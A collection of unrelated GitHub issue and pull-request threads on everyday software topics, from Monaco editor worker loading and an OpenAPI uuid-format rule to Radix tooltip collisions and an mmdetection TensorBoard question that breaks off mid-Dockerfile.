Uncaught TypeError: Failed to execute 'importScripts' on 'WorkerGlobalScope': Module scripts don't support importScripts().

(as discovered trying to load workers directly with webpack target esm).
So the worker should use import instead of importScripts or be self-contained classic workers.
Related issues:
ESM with Vanilla JS:
https://github.com/microsoft/monaco-editor/issues/2335
ES Modules (vs Webpack):
https://github.com/microsoft/monaco-editor/issues/949
ESM and CSS loading:
https://github.com/microsoft/monaco-editor/issues/886

Alternatively (and probably best until "module Worker" support is better), the workers should be standalone bundled eg. not contain ESM import/export. @alexdima is that something the new ESBuild usage could help with?

same question


Update es.php

Update es

UPDATED SPANISH TRANSLATIONS
I don't know why the modified file does not have the same order as the original file.
can you check that it works correctly?
the translations are correct since I am from Spain
I don't know why some translations were duplicated

Hello @alfonsolr09
Thanks for your contribution, I cherry picked your work into https://github.com/PrestaShopCorp/ps_checkout/pull/819
This Pull Request is closed in favor of https://github.com/PrestaShopCorp/ps_checkout/pull/819


Add an updated Code of Conduct

As per https://github.com/mimblewimble/grin-pm/issues/309
This PR:

Updates the code of conduct (CoC) to follow contributor covenant v2.0 with no significant changes in wording. (Previously the CoC was based on the one used by Rust Language, which in turn is based off contributor covenant v1.3.)
Adds the CoC to the website at https://grin.mw/policies/code_of_conduct.
Adds a link to the CoC in the footer, and groups it together with the link to /grin-security
Adds a reference to the CoC and call to actions at the bottom of https://grin.mw/community

If merged:

Each repo in the /mimblewimble Github org will have its CODE_OF_CONDUCT.md updated to point to https://grin.mw/policies/code_of_conduct.
Keybase stickies and forum.grin.mw will be similarly updated.

Previews
Live website
https://lehnberg.net/site/policies/code_of_conduct
Screenshots
Code of conduct

grin.mw/community

Page footer

There's no space between Github and Policies on your live website.

There's no space between Github and Policies on your live website.

There is on Safari and Chrome (macOS), but I see now that there is not on Firefox... what browser are you using?

There's no space between Github and Policies on your live website.

There is on Safari and Chrome (macOS), but I see now that there is not on Firefox... what browser are you using?

Indeed I use Firefox.

Looks great! :+1:

@Paouky I did some testing and to be honest, I have no idea what's causing this bug on Firefox, there's clearly a
 tag in there.
The only mitigation I can think of now that doesn't have me chasing my tail for a few hours is to simply remove Policies altogether, so that on Google and Safari the links will appear with a break in-between them, and on Firefox it will be a single list of items that are all links.
Not sure that's much better than what we have right now. What do you think?

@lehnberg I actually prefer entirely removing Policies as you suggest. I don't like having the corporate-sounding word so visible. But perhaps that's just me, both options are OK (both aesthetically and content wise).

Oki @Paouky done - have a look on the live preview. I'll keep this open for another few days in case there is some more feedback?

PSA: Proposing to merge this after tomorrow's governance meeting.

Merging, as per https://github.com/mimblewimble/grin-pm/blob/master/notes/20200908-meeting-governance.md#decision-update-code-of-conduct


Suggestion

Hello! I'm loving this tool a lot so far and hope to see it continue to be updated. I do have some QOL things that could be neat to add:

A notes node

Basically just a node with a resizable text box to write small notes on specific things

A blank node

Could work like an item to sink to represent an output of the factory; I've been using the splitters like this:

Ability to lock a nodes(s) so that rest of the graph calculates always calculates based on them

Once again, thanks for making this, it's really nice to do it all manually instead of something like satisfactory calc which feel too cluttered for me.

Hello and thanks for the feedback.
Yeah I think there'll be "sink" node at some point, and potentially a storage one too. In the meantime using the splitter is the only alternative. Also note that you don't need the last one in your image. Just leaving the output of the middle splitter connected to nothing will make the items being displayed in the "output" section of the left panel.


DSA: Merge Sort

Description
Description:
Documentation of Merge Sort (Implementation + Code + Time Complexity)
Language Implementing: C++

Name of Contributor: Pranshu Kasyap
Domain of Contribution: DSA (Documentation)
Batch - 5

Please Assign me the issue.
Domain
DSA
Type of Contribution
Documentation
Code of Conduct

[X] I follow Contributing Guidelines & Code of conduct of this project.

/assign


Product Page Question

Can I use react-responsive-carousell?

I am not able to message you on Upwork.   Can we chat over Telegram?


Types for values on events

What is the feature you are proposing?

It would be nice to have event.target.value as a type that can be accessed.

Hi @ersinakinci
I recommend using a type guard to add a type to the target.
<div>
  <input
    onChange={(e) => {
      if (e.currentTarget instanceof HTMLInputElement) {
        e.currentTarget.value // ...
      }
    }}
  />
</div>

But, indeed, it will be inconvenient, and it has the proper type with React.
@usualoma What do you think about it? Do you think we should implement it?

In React we can do something like this @yusukebe :
import { ChangeEvent } from "react";

const validateField = (event: ChangeEvent<HTMLInputElement>) {
 console.log(event.target.value);
}

I think it's something good to implement because it was close to Dom.

As an alternative we can use type guard or type annotation:
import { ChangeEvent } from "react";

const validateField = (event: Event) {
 console.log((event.target as HTMLInputElement).value);
}


TestSubscriber constructor with delegate Subscriber

In Reactor I have created a TestSubscriber inspired from the one of RSC, and I have a question.
I am not sure if we want (on Reactor side) to keep constructors using a delegate Subscriber because I am not sure about the use cases, could you please give me some hints about what use cases they fit in?
Thanks in advance for your help.

It is a remnant of RxJava's TestSubscriber. Some people like to verify event ordering via Mockito  yet they need await() to make sure the source completes. This constructor allows you to forward events to this mock. I personally don't use Mockito anymore as the assertX of the TestSubscriber is quite enough for the Rsc's unit tests.

Ok thanks!


[Popper] Collision avoidance won't switch from horizontal to vertical axis (or vice versa)

Bug report
Note: I did see a similar issue, https://github.com/radix-ui/primitives/issues/557, but I think this is slightly different. Of course feel free to close as a dupe if you feel they're fundamentally the same though.
Current Behavior
Collision avoidance for Tooltip (the component on which I first noticed this, but it seems to be rooted in popper) will switch between right/left and top/bottom, but seems to never switch its axis, like from right-to-top or right-to-bottom. This can be useful in width-constrained iframes for instance.
Expected behavior
If a Tooltip with avoidCollisions={true} has side="right" but finds itself in a situation where there's not enough space on the right, and also not enough space on the left, but there is enough space to the top or bottom, it should choose top or bottom.
Reproducible example
https://glitch.com/edit/#!/radix-tooltip-collision-axis-switching
And the source for the iframe within that:
https://glitch.com/edit/#!/iframe-for-radix-tooltip-collision-axis-switching
(I used Glitch here because I couldn't quickly figure out a way to get the Codesandbox working in an iframe)
Suggested solution
Around https://github.com/radix-ui/primitives/blob/7106f97c84e01e3b4720208ea95c3e8c8da20b9b/packages/core/popper/src/popper.ts#L136-L141, if the opposite side also collides, give the other axis a go.
Your environment

Software
Name(s)
Version

Radix Package(s)
@radix-ui/react-tooltip
0.1.1

React
n/a
17.0.2

Browser
Chrome
96.0.4664.35 (Official Build) beta (arm64)

Assistive tech
n/a

Node
n/a
12.x, says Glitch

npm/yarn
Glitch uses pnpm
Not sure

Operating System
macOS
12.0.1

hi @mrdavidjcole,
It is different from #557, so thanks for creating a new issue.
You are also right when you say it currently only swaps whilst preserving original axes.
This was in fact a design decision we made early on when spec'ing what we wanted this solution to be able to do.
I am not convinced that switching axes would be really beneficial in most cases.
For example with your tooltip demo, there's only a small margin of cases that would potentially be improved.
That's basically dependent on the size of the trigger itself.
ie. if you want it on the right, but it can't fit on either right or left, then it's very unlikely for it to fit at the top or bottom either

Because the placement would have to become side="top" and align="end". So you're really only gaining the width of the trigger.
I think there are probably better ways we can try and improve collisions in general.
Also tooltips might be the worst example because:

They should normally be quite small as by design, they shouldn't hold much content
Some solutions that could work for things like Popover where we could allow the content to overlap the trigger whilst removing the arrow, wouldn't really be ergonomic for Tooltip because the interaction is on hover and the content is secondary so you need to be able to access that trigger still.

Thanks for bringing this up though, I am curious to hear what the team thinks about it in general, we can go from there.
cc @jjenzz @andy-hook

As a real-world example of this, here is a screenshot of the tooltips used on the docs page for Tooltip on a 360px wide screen.
If the trigger is in the middle of the viewport, everything works as expected.

As the trigger reaches 1/3 to the left or right, however, the tooltip flies out to the left/right instead, cutting it off, despite there being enough room to show above or below.

Please let me know if this is a separate issue, and I'll open one for it.

In many ways #557 would be a better resolution for this, so we'll close this one for now.

I agree with OP and I think that #557 doesn't fully replace an ability to switch axis. One use case is the horizontal mode on mobile / tablet - I can easily imagine a popover big enough to not fit on vertical axis of a trigger located near the center of the screen. So swapping axis could be like a last resort solution for the placement algorithm after it figures that neither side of the defined axis is able to fit the particular popover.

My use case that is failing is a wide Popover that I want to appear to the right of some highlighted text on larger devices but top on smaller devices. Sometimes the Popover trigger is quite wide and takes up almost the whole screen width on mobile so it can't fit to the right or left but can easily fit above.
To work around it I have to manually check the screen size and adjust the side to top on smaller screens and right on larger ones.


notification-bot: @-mention the user subscribing you to a stream.

We probably also want to do this in zerver/views/streams.py:L374. The rest is good!

I merged the first commit, and we're not merging the second for now.  Thanks @aero31aero!


Should FileChooser work on HTML?

I'm pretty new to GWT/HTML, but I am trying to compile my project using html:superDev and it fails, errors show this;
  [ERROR] Line 20: No source code is available for type com.kotcrab.vis.ui.widget.file.FileChooser; did you forget to inherit a required module?
  [ERROR] Line 22: No source code is available for type com.kotcrab.vis.ui.widget.file.FileChooser.Mode; did you forget to inherit a required module?
  [ERROR] Line 23: No source code is available for type com.kotcrab.vis.ui.widget.file.FileChooser.SelectionMode; did you forget to inherit a required module?
  [ERROR] Line 28: No source code is available for type com.kotcrab.vis.ui.widget.file.StreamingFileChooserListener; did you forget to inherit a required module?
  [ERROR] Line 54: No source code is available for type com.kotcrab.vis.ui.widget.file.FileChooserListener; did you forget to inherit a required module?

Is the FileChooser actually compatible with HTML or do I need to find another way to open files in web?
Awesome project by the way.

It's not compatible as stated in the wiki and Javadocs.

Chooser is platform dependent and can be only used on desktop.

You also might have forgotten to add GWT inherits. See main repo page for details.
<inherits name='com.kotcrab.vis.vis-ui' />

Do you know if there is any possible way to open or save local files in HTML?

Sorry, I don't really know GWT.


How to group_by year or month in orator?

this is my table:
 with schema.create("post") as table:
        table.increments("id")
        table.string("title", 256)
        table.text("content")
        table.timestamps()

I want post query group by year. like:
query = db.table("post").order_by('created_at', 'desc').group_by('year').get()

Sorry for not getting back to you sooner.
Did you close this because you found a solution?
For now, there is no easy and builtin way to order by a unit of a timestamp. Maybe by using a raw group by for your specific backend.


Require Run As Non-Root User

The rule allows runAsUser to not be set. However, this means that there are no assurances that the container does not run as root. So the rule isn't accurate. Making runAsUser required would fix this

The policy is implemented according to the definition set forth in the Pod Security Standards:


type+format error on allowable combination (format: uuid)

Because the validator allows only the formats that are listed in the specification table, it produces an error for some that are usable. For example, "format": "uuid".

However, format is an open value, so you can use any formats, even not those defined by the OpenAPI Specification, such as:
• email
• uuid
• uri
• hostname
• ipv4
• ipv6
and others

https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md#data-types
https://swagger.io/docs/specification/data-models/data-types/
error
Message :   Property type+format is not well-defined.
Path    :   definitions.ErrorResponse.properties.trace.type

source
"trace": {
  "type": "string",
  "format": "uuid",
  "description": "A unique identifier of the request."
}

The trace use case is from our API Implementation Handbook about errors.

That's not the criteria that we use to decide error vs warning.  There's a long list issues we flag as errors that are allowed by the spec.
      "no_array_responses": "error",
      "no_parameter_description": "error",
      "invalid_type_format_pair": "error",
      "content_type_parameter": "error",  // allowed in v2
      "accept_type_parameter": "error",   // allowed in
      "no_empty_descriptions": "error",
      "no_consumes_for_put_or_post": "error",

We flag things as errors when they are 1) common sources of error, 2) generally correctable without huge effort.
Arbitrary values in "format" have been very common in WDC API docs and they cause significant problems in the SDKs, since they result in incorrect types for parameters or properties. I know of no strong argument for using non-standard "format" values, and I am unaware of any effort that is needed to change them other than to edit the API doc.

@mkistler Perhaps it would be better to allow users to whitelist some format types? In case 'I know what I am doing'.

We will be adding some types -- specifically identifier and crn -- soon.
Re: "I know what I am doing", I think the more important question is: "Does everyone know what you are doing?" format: gobbledegook might be perfectly clear to you, but the API doc is meant as a communication mechanism to others.

Well, it depends on particular situation. In my case we use Marshmallow which has explicit uuid type of schema field and write docs in Openapi format for internal use. In such situation uuid format looks ok. May be when we publish the API to the outer world it will be not true, but now 'everyone knows' :)

@mkistler We use uuid quite often in OpenTripModel, see for yourself in our sources. I see the point you're making. But the fact is, you are stricter than the OAS standard. There is value in that, for sure. But there are also many use cases where that's simply too strict. Would it be an idea to introduce two modes of operation? Like "strict" and "standard" or something like that?

@bartkummel I think we'd be open to a configuration option for this.  That might be tricky to design in a general manner, but we could start with something that enables your use case and grow it from there as needed.
Maybe a configuration like:
"allowedStringFormats": [ "uuid", "other" ]

Another option is to disable the invalid_type_format_pair rule altogether, but I'm guessing you want to keep that rule on for its benefits in catching other issues.

@mkistler Exactly. I've disabled the rule for now, but it would be nice to have something like you suggest.

What do you think if extract to config all type+format pairs? Like
"validPrimitiveTypeFormatPairs": {
  "integer": ["int32", "int64"],
  "number": ["float", "double"],
  "string": ["byte", "binary", "date", "date-time", "password"],
  "boolean": []
}

That way it may reduce the corresponding switch, e.g.:
let allowedFormats = validPrimitiveTypeFormatPairs[ schema.type ] || [];
!schema.format || allowedFormats.includes(schema.format.toLowerCase())

@apestov I assume your example is the default then? So we can add e.g. uuid to the string list in our own configuration file? Sounds good to me!

@bartkummel It's more like a proposal that may (or may not) feet the openapi-validator project approach.
@mkistler @dpopp07 What do you think? If it sounds ok I can try to prepare a PR.

@apestov Sure, that's how I interpreted it.

I think I would prefer an approach that only extended the list of allowed type+format values.
There is a well-defined set of type+format pairs in the spec, and I don't see any value in generating messages for any of these. So a design that would let the user (in all likelihood unintentionally) drop these from the "allowed" list only creates an opportunity for people to shoot themselves in the foot.

That make sense.
Yes, the question would be there a case (project) that would like to have more strict restrictions than linter has by default at the moment or will have by default in some future versions?
It probably could be imagined that some project would like to allow only int64 with no  int32  for integer format, while I don't have a particular case for.

Could someone point me at a doc or give a pointer as to the best openapi v3 way to define fields as UUIDs using the standard "5 groups separated by hyphens, in the form 8-4-4-4-12 for a total of 36 characters" format so that the "Property type+format is not well-defined." error is not raised? Is this possible right now in Openapi v3?

You could use a pattern. This StackOverflow post recommends a number of different regex's that describe UUIDs.

Thanks @mkistler - I completely missed that in the Swagger docs here: https://swagger.io/docs/specification/data-models/data-types/#pattern


Bug fix for https://github.com/mbdavid/LiteDB/issues/2298

Adding flag to EntityMapper that a CTor was defined. This will allow BsonMapper.Deserialize to bypass the regular entity deserialization in favor of the custom defined constructor.

As stated in the bug, we do not need this because you can use RegisterType https://github.com/mbdavid/LiteDB/commit/4e20fa86040a28c39206d5033924fbc5676d9131


Own Brute Justice massive in Rival Wings

When Customize+ is enabled, the Brute Justice you are in gets scaled up significantly (2-3 times the height of the normal Brute Justice). This appears to only impact the Brute Justice, and only impact the mech that you are in.
In testing on my machine, this has been isolated to Customize+ itself as the trigger for this behavior to happen, and the model does not scale back down once it's been scaled up without being un-mounted/killed/otherwise dispelled & re-entered.

#118


Fix the potential wildcard dirty path issue in MergeOverlappedAttributePath

Problem
When we extend setDirty with wildcard support, we have not yet updated MergeOverlappedAttributePath, Concretely, let's say path is (wildcard endpoint, cluster 6, wildcard attribute) and aAttributePath is (wildcard endpoint, wildcard cluster, wildcard attribute), we would update the path with aAttributePath.
Proposed Solution
update MergeOverlappedAttributePath with wildcard handling, and break out the dirty set into a class that has APIs for adding paths to it, and then test it.

we would update the path with aAttributePath

We do that wrong now, is the point of this issue.


Remove unused messaging code

Resolves #287.

@congwang09 these are your code, some might be experimental. Your call if you want to tag it for easier future reference or not.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 52.235%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
739

Relevant Lines:
1444

💛  - Coveralls

@congwang09 these are your code, some might be experimental. Your call if you want to tag it for easier future reference or not.

Yeah the code works fine, I was trying to make them symmetrical, and maybe turn into a lib, so SDX controller and LC can both use them. But as the codebase is settling down, it's ok to remove them to reduce the code footprint.


Link to Herb Sutters talk mentioned in Episode 439

C++ and Beyond 2012: Herb Sutter - You don't know [blank] and [blank].
The recording from Channel9 is still watchable via archive.org

Saw that someone commented it on a different issue


Add a 'Create New Book' button on shelf list

A solution for #1260 .

Some notes:

When a book is added, it is added to the top of the shelf.
When a book is added, you get redirected back to the shelf rather than the new book. This works for me, but may not work for the majority.

Great stuff, Thanks @cw1998.
I'm currently in the middle of a design update (#1153) so I'll probably wait until that's merged into master (Couple of weeks) before I review and merge this. Looks good from a quick scan of the changes though!

Hi @ssddanbrown , I've updated this PR after the merge of the 2019 design. I went for a blue "Create  New Book" button on an empty shelf rather than red (based on seeing orange text for adding a new chapter to an empty book) - hopefully this is correct.

Thanks again for this @cw1998.
All looked pretty good. Made a few logical changes, in addition to aligning some existing wording, in 7f3f6e65b9705beabbafa5ceba8636a74ac22138:

I changed the addition of books to be an append instead of a prepend. I think this is what users will generally expect, and aligns with the analogy where you'd generally add a new book to the end of a shelf.
As you mentioned in your original post, I updated the post-create redirect to navigate to the book since I think most people will go on to create book content and this behaviour aligns with the existing book creation process.

All merged, ready for the next release!

Awesome, thanks. I agree with the changes mentioned and they all make sense. I'll keep wording in mind next time too.
Looking forward to seeing the new design in a release!


feat: add ProgressBar to components library

Pull Request Test Coverage Report for Build 102353614

22 of 28 (78.57%)  changed or added relevant lines in 3 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.2%) to 63.18%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

packages/components/src/theme/Theme.js
0
2
0.0%

packages/components/src/components/ProgressBar.js
18
22
81.82%

Totals

Change from base Build 102352154:
0.2%

Covered Lines:
1292

Relevant Lines:
1715

💛  - Coveralls


Show IOU preview for send money flow

Details

This is just a simple update to the previous Pr which should ensure we show the IOU preview for Send money action but not for the pay money request action
Fixed Issues

Follow up to https://github.com/Expensify/Expensify/issues/278887
related to https://github.com/Expensify/App/pull/18902#issuecomment-1548263795
Tests

[x] Verify that no errors appear in the JS console

Go to DM chat
Sent money to the other account as IOU
Verify you can see a following IOU preview

Click on the IOU preview
Verify a new report/ thread was created and it has $10 sent for lunch in a title (based on your request)

Offline tests

Same as tests
QA Steps

Go to DM chat
Sent money to the other account as IOU
Verify you can see a following IOU preview

Click on the IOU preview
Verify a new report/ thread was created and it has $10 sent for lunch in a title (based on your request)

[ ] Verify that no errors appear in the JS console

PR Author Checklist

[x] I linked the correct issue in the ### Fixed Issues section above
[x] I wrote clear testing steps that cover the changes made in this PR

[x] I added steps for local testing in the Tests section
[x] I added steps for the expected offline behavior in the Offline steps section
[x] I added steps for Staging and/or Production testing in the QA steps section
[x] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)
[x] I tested this PR with a High Traffic account against the staging or production API to ensure there are no regressions (e.g. long loading states that impact usability).

[x] I included screenshots or videos for tests on all platforms
[x] I ran the tests on all platforms & verified they passed on:

[x] Android / native
[x] Android / Chrome
[x] iOS / native
[x] iOS / Safari
[x] MacOS / Chrome / Safari
[x] MacOS / Desktop

[x] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[x] I followed proper code patterns (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method

[x] If any non-english text was added/modified, I verified the translation was requested/reviewed in #expensify-open-source and it was approved by an internal Expensify engineer. Link to Slack message:

[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is approved by marketing by adding the Waiting for Copy label for a copy review on the original GH to get the correct copy.
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I followed the guidelines as stated in the Review Guidelines
[x] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] I verified that if a function's arguments changed that all usages have also been updated correctly
[x] If a new component is created I verified that:

[x] A similar component doesn't exist in the codebase
[x] All props are defined accurately and each prop has a /** comment above it */
[x] The file is named correctly
[x] The component has a clear name that is non-ambiguous and the purpose of the component can be inferred from the name alone
[x] The only data being stored in the state is data necessary for rendering and nothing else
[x] For Class Components, any internal methods passed to components event handlers are bound to this properly so there are no scoping issues (i.e. for onClick={this.submit} the method this.submit should be bound to this in the constructor)
[x] Any internal methods bound to this are necessary to be bound (i.e. avoid this.submit = this.submit.bind(this); if this.submit is never passed to a component event handler like onClick)
[x] All JSX used for rendering exists in the render method
[x] The component has the minimum amount of code necessary for its purpose, and it is broken down into smaller components in order to separate concerns and functions

[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(themeColors.componentBG))

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.
[x] I have checked off every checkbox in the PR author checklist, including those that don't apply to this PR.

Screenshots/Videos

Web

Mobile Web - Chrome

Mobile Web - Safari

Desktop

iOS

Android

Thanks guys

🚀 Cherry-picked to staging by https://github.com/Julesssss in version: 1.3.15-3 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

@Expensify/applauseleads please QA this PR and check it off on the deploy checklist if it passes.

🚀 Deployed to production by https://github.com/yuwenmemon in version: 1.3.15-12 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

🚀 Cherry-picked to staging by https://github.com/AndrewGable in version: 1.3.28-2 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

@Expensify/applauseleads please QA this PR and check it off on the deploy checklist if it passes.

🚀 Deployed to production by https://github.com/AndrewGable in version: 1.3.28-5 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅


Latest commit breaks setup because no db is running

Have you experienced this bug with the latest version of the template?
Yes
Steps to Reproduce
Use the blues stack to create a project and it eventually runs execSync("npm run setup", { stdio: "inherit", cwd: rootDirectory }); which tries to connect to a running database - if you're using this stack it's unlikely there will already be a postgres instance running so it fails and breaks the setup.
Expected Behavior
I would either expect it to try and run npm run docker or pass this process onto the user.
Actual Behavior
It runs npm run setup without first making sure a db is running.

That was definitely a copy/paste error. Thank you!


Can PhoSim take FITS images and CatSim sources as input at the same time?

Seems like this would be a better way to go than providing FITS images that contain both Einstein rings and SNe as single bright pixels. @johnrpeterson ?

In which case, the Sprinkler could add in an Einstein Ring image too.

yes, phosim can take truth images as well as parameterized sources.
john

On Oct 30, 2015, at 6:55 PM, Nan Li<EMAIL_ADDRESS>wrote:
Seems like this would be a better way to go than providing FITS images that contain both Einstein rings and SNe as single bright pixels. @johnrpeterson https://github.com/johnrpeterson ?
—
Reply to this email directly or view it on GitHub https://github.com/DarkEnergyScienceCollaboration/Twinkles/issues/53.

Thanks @johnrpeterson !


Deploying the project to GitHub Pages

Description
If by any chance you have deployed your app earlier, open an issue with a link to the online version of your app. Otherwise, submit a link to the PR with changes required for the deploy.
Link to the deployed verion
https://veronica365.github.io/portfolio/

Hi @veronica365  🙋♂,
✔   Status: APPROVED 🏆 🎉 🎊
You have done a great job on this project, keep it up 👍 🥇. Your project is complete!  There is nothing else to say other than... it's time to merge it :shipit:
Congratulations!  🎉💯🌟
Top highlight 🎯

Your project is deployed ✅

Optional suggestions
Every comment with the [OPTIONAL] prefix won't stop the approval of this PR. However, I strongly recommend you to take them into account as they can make your code better. Some of them were simply missed by the previous reviewer and addressing them will really improve your application.
Cheers and Happy coding!👏👏👏
Feel free to leave any questions or comments in the PR thread if something is not 100% clear.
Please, remember to tag me in your question so I can receive the notification.

As described in the Code reviews limits policy  you have a limited number of reviews per project (check the exact number in your Dashboard). If you think that the code review was not fair, you can request a second opinion using this form.


Visualization of FasterRCNN graph from Tensorboard

Hi,
First of all, thanks for dev of mmdetection, this seems to be a great tool to focus on design of advanced architecture for detection task family.
Bug description
I am trying to visualize FASTER RCNN model graph with Tensorboard.
I am not able to properly run the line write.add_graph to send the model to tensorboard.
Reproduction
from torch.utils.tensorboard import SummaryWriter
from mmdet.models import build_detector
from mmcv import Config
from tests.test_models.test_forward import _demo_mm_inputs

cfg_model = "configs/faster_rcnn/faster_rcnn_r50_fpn_1x_coco.py"
cfg = Config.fromfile(cfg_model)

model = cfg.model
model['pretrained'] = None

writer = SummaryWriter("tensorboard_runs/faster_rcnn")

detector = build_detector(model)
input_shape = (1, 3, 256, 256)

# Test forward train with a non-empty truth batch
mm_inputs = _demo_mm_inputs(input_shape, num_items=[10])
imgs = mm_inputs.pop('imgs')
img_metas = mm_inputs.pop('img_metas')
gt_bboxes = mm_inputs['gt_bboxes']
gt_labels = mm_inputs['gt_labels']
gt_masks = mm_inputs['gt_masks']
losses = detector.eval().forward(
    imgs,
    img_metas,
    gt_bboxes=gt_bboxes,
    gt_labels=gt_labels,
    gt_masks=gt_masks,
    return_loss=True,
    )

writer.add_graph(detector.eval(),(imgs, img_metas,gt_bboxes,gt_labels,gt_masks))
writer.close()

the code is strongly based on issue #5140.
Environment
sys.platform: linux
Python: 3.8.8 (default, Feb 24 2021, 21:46:12) [GCC 7.3.0]
CUDA available: True
GPU 0: NVIDIA RTX A4000 Laptop GPU
CUDA_HOME: /usr/local/cuda
NVCC: Build cuda_11.1.TC455_06.29190527_0
GCC: gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
PyTorch: 1.8.1
PyTorch compiling details: PyTorch built with:
  - GCC 7.3
  - C++ Version: 201402
  - Intel(R) Math Kernel Library Version 2020.0.2 Product Build 20200624 for Intel(R) 64 architecture applications
  - Intel(R) MKL-DNN v1.7.0 (Git Hash 7aed236906b1f7a05c0917e5257a1af05e9ff683)
  - OpenMP 201511 (a.k.a. OpenMP 4.5)
  - NNPACK is enabled
  - CPU capability usage: AVX2
  - CUDA Runtime 11.1
  - NVCC architecture flags: -gencode;arch=compute_37,code=sm_37;-gencode;arch=compute_50,code=sm_50;-gencode;arch=compute_60,code=sm_60;-gencode;arch=compute_61,code=sm_61;-gencode;arch=compute_70,code=sm_70;-gencode;arch=compute_75,code=sm_75;-gencode;arch=compute_80,code=sm_80;-gencode;arch=compute_86,code=sm_86;-gencode;arch=compute_37,code=compute_37
  - CuDNN 8.0.5
  - Magma 2.5.2
  - Build settings: BLAS_INFO=mkl, BUILD_TYPE=Release, CUDA_VERSION=11.1, CUDNN_VERSION=8.0.5, CXX_COMPILER=/opt/rh/devtoolset-7/root/usr/bin/c++, CXX_FLAGS= -Wno-deprecated -fvisibility-inlines-hidden -DUSE_PTHREADPOOL -fopenmp -DNDEBUG -DUSE_KINETO -DUSE_FBGEMM -DUSE_QNNPACK -DUSE_PYTORCH_QNNPACK -DUSE_XNNPACK -O2 -fPIC -Wno-narrowing -Wall -Wextra -Werror=return-type -Wno-missing-field-initializers -Wno-type-limits -Wno-array-bounds -Wno-unknown-pragmas -Wno-sign-compare -Wno-unused-parameter -Wno-unused-variable -Wno-unused-function -Wno-unused-result -Wno-unused-local-typedefs -Wno-strict-overflow -Wno-strict-aliasing -Wno-error=deprecated-declarations -Wno-stringop-overflow -Wno-psabi -Wno-error=pedantic -Wno-error=redundant-decls -Wno-error=old-style-cast -fdiagnostics-color=always -faligned-new -Wno-unused-but-set-variable -Wno-maybe-uninitialized -fno-math-errno -fno-trapping-math -Werror=format -Wno-stringop-overflow, LAPACK_INFO=mkl, PERF_WITH_AVX=1, PERF_WITH_AVX2=1, PERF_WITH_AVX512=1, TORCH_VERSION=1.8.1, USE_CUDA=ON, USE_CUDNN=ON, USE_EXCEPTION_PTR=1, USE_GFLAGS=OFF, USE_GLOG=OFF, USE_MKL=ON, USE_MKLDNN=ON, USE_MPI=OFF, USE_NCCL=ON, USE_NNPACK=ON, USE_OPENMP=ON,

TorchVision: 0.9.1
OpenCV: 4.6.0
MMCV: 1.3.17
MMCV Compiler: GCC 7.3
MMCV CUDA Compiler: 11.1
MMDetection: 2.25.0+56e42e7

Installed from Dockerfile which is strongly based on the repo Dockerfile.
I have done minor changes, here the list :

Change PYTORCH/CUDA version in image and mmcv-full install to match a compatible version for my GPU.
Add new public key of nvidia apt-get repo.
Tensorboard installation
Add script.py which is code written above.

ARG PYTORCH="1.8.1"
ARG CUDA="11.1"
ARG CUDNN="8"

FROM pytorch/pytorch:${PYTORCH}-cuda${CUDA}-cudnn${CUDNN}-devel

ENV TORCH_CUDA_ARCH_LIST="6.0 6.1 7.0+PTX"
ENV TORCH_NVCC_FLAGS="-Xfatbin -compress-all"
ENV CMAKE_PREFIX_PATH="$(dirname $(which conda))/../"

RUN rm /etc/apt/sources.list.d/cuda.list \
